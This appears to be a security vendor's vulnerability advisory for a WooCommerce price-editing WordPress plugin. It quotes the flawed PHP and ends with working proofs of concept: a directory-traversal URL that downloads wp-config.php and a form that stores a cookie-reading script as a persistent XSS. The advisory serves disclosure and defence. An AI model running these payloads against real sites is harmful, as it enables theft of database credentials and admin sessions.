Hackers Appear to be Targeting The WordPress Plugin Excel Like Price Change for WooCommerce and WP E-commerce
As part of making sure the customers of our service are getting the best information on vulnerabilities in WordPress plugins they may be using we monitor for hackers probing for usage of plugins on our website and then try to figure out what the hackers might be looking to exploit. Today we had what looks to be a hacker probing for usage of the plugin Excel Like Price Change for WooCommerce and WP E-commerce (Excel-Like Price Changer for WooCommerce and WP E-commerce) on our website.
As we started looking into what might be causing that we quickly found that the plugin is quite insecure. There are smaller issues like the plugin’s admin pages being limited to users with the “edit_pages” capability instead of “manage_woocommerce”, so Editor level users can access to WooCommerce related data and functionality they are not intended to. What we ran across first though is a much larger issues was that a lot of the plugin’s functionality is accessible those not even logged in to WordPress and that creates various vulnerabilities, we have detailed a couple of obvious ones below that hacker might in the process of exploiting and there look to be more.
Arbitrary File Viewing
When WordPress loads the plugin’s main file an instance of the class excellikepricechangeforwoocommerceandwpecommerceligh is created:
875 | $GLOBALS['excellikepricechangeforwoocommerceandwpecommercelight'] = new excellikepricechangeforwoocommerceandwpecommercelight(); |
The __construct() function for that then runs code that handles request for various parts of the plugin’s functionality. The following code will provide a download of a file on the website, specified by the GET or POST input “download_util_file”:
121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | if(isset($_REQUEST['page'])){ if( strpos($_REQUEST['page'],"excellikepricechangeforwoocommerceandwpecommercelight") !== false) add_action('admin_init', array( $this,'admin_utils')); if( strpos($_REQUEST['page'],"excellikepricechangeforwoocommerceandwpecommercelight") !== false && isset($_REQUEST["elpm_shop_com"])){ if(isset($_REQUEST["download_util_file"])){ $download_util_file = realpath( dirname(__FILE__) . DIRECTORY_SEPARATOR . 'utilities' . DIRECTORY_SEPARATOR . $_REQUEST["download_util_file"]); if (file_exists($download_util_file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($download_util_file)); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($download_util_file)); flush(); readfile($download_util_file); } exit(); return; } |
While the functionality is intended to download files from a directory that doesn’t exist by default, the code doesn’t properly limit the use of directory traversal, so any files on the website can be downloaded. There is no restriction on who can access the functionality either.
Persistent Cross-Site Scripting (XSS)
Another admin functionality that anyone can access is changing the plugin’s settings. Here is the code that allows changing the plugin’s “Fixed columns count” setting:
58 59 60 61 62 63 64 65 66 | if(isset($_REQUEST['plem_price_do_save_settings']) && strtoupper($_SERVER['REQUEST_METHOD']) === 'POST'){ if(isset($_REQUEST['plem_price_mem_limit_reset'])){ if($_REQUEST['plem_price_mem_limit_reset']){ global $wpdb; $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE 'plem_price_mem_limit%'"); } } $this->settings["fixedColumns"] = $_REQUEST["fixedColumns"]; |
98 | $this->saveOptions(); |
192 193 194 195 196 | public function saveOptions(){ update_option('PELM_PRICE_SETTINGS',(array)$this->settings); $this->saved = true; } |
That code doesn’t sanitize the value and as the proof of concept below shows, it isn’t escaped when output either, so for example, malicious JavaScript code be set to run when visiting the plugin’s admin pages, which is persistent cross-site scripting (XSS).
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Are They Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept for Arbitrary File Viewing Vulnerability
The following proof of concept will show the contents of the WordPress configuration file.
Make sure to replace “[path to WordPress]” with the location of WordPress.
http://[path to WordPress]/?page=excellikepricechangeforwoocommerceandwpecommercelight-root&elpm_shop_com=wooc&download_util_file=../../../../wp-config.php
Proof of Concept for Persistent Cross-Site Scripting (XSS)
The following proof of concept will cause an alert box with any available cookies to be shown on /wp-admin/admin.php?page=excellikepricechangeforwoocommerceandwpecommercelight-settings.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/" method="POST"> <input type="hidden" name="plem_price_do_save_settings" value="test" /> <input type="hidden" name="fixedColumns" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>